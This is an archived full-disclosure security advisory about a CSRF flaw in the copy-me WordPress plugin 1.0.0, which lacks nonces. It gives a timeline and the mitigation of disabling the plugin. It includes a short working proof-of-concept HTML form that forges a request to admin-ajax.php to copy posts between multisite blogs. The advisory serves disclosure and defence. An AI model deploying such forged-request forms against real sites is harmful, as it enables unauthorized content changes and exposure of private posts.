full-disclosure - [FD] copy-me vulnerable to CSRF allowing unauthenticated attacker to copy posts (WordPress plugin)

Open Source and information security mailing list archives

Date: Wed, 21 Dec 2016 19:55:34 +0000
From: dxw Security <security@....com>
To: fulldisclosure@...lists.org
Subject: [FD] copy-me vulnerable to CSRF allowing unauthenticated attacker
	to copy posts (WordPress plugin)

Details
================
Software: copy-me
Version: 1.0.0
Homepage: http://wordpress.org/plugins/copy-me/
Advisory report: https://security.dxw.com/advisories/copy-me-vulnerable-to-csrf-allowing-unauthenticated-attacker-to-copy-posts/
CVE: Awaiting assignment
CVSS: 4.3 (Medium; AV:N/AC:M/Au:N/C:N/I:P/A:N)

Description
================
copy-me vulnerable to CSRF allowing unauthenticated attacker to copy posts

Vulnerability
================
This plugin does not use nonces. Copying posts could allow taking a secret post from a non-public site within a multisite installation and moving it to a public site.

Proof of concept
================
Click submit and it’ll copy post with ID 1 to blog/site with ID 1:
<form method=\"POST\" action=\"http://localhost/wp-admin/admin-ajax.php\">
  <input type=\"text\" name=\"action\" value=\"copyme_copy_item\">
  <input type=\"text\" name=\"id\" value=\"1\">
  <input type=\"text\" name=\"target\" value=\"1\">
  <input type=\"submit\">
</form>

Mitigations
================
Disable the plugin. No fixed version is known.

Disclosure policy
================
dxw believes in responsible disclosure. Your attention is drawn to our disclosure policy: https://security.dxw.com/disclosure/

Please contact us on security@....com to acknowledge this report if you received it via a third party (for example, plugins@...dpress.org) as they generally cannot communicate with us on your behalf.

This vulnerability will be published if we do not receive a response to this report with 14 days.

Timeline
================

2016-11-01: Discovered
2016-12-07: Reported to vendor via contact form: http://www.alancesarini.com/en/contact-2/
2016-12-07: Requested CVE
2016-12-21: Vendor has not responded after 14 days
2016-12-21: Published

Discovered by dxw:
================
Tom Adams
Please visit security.dxw.com for more information.

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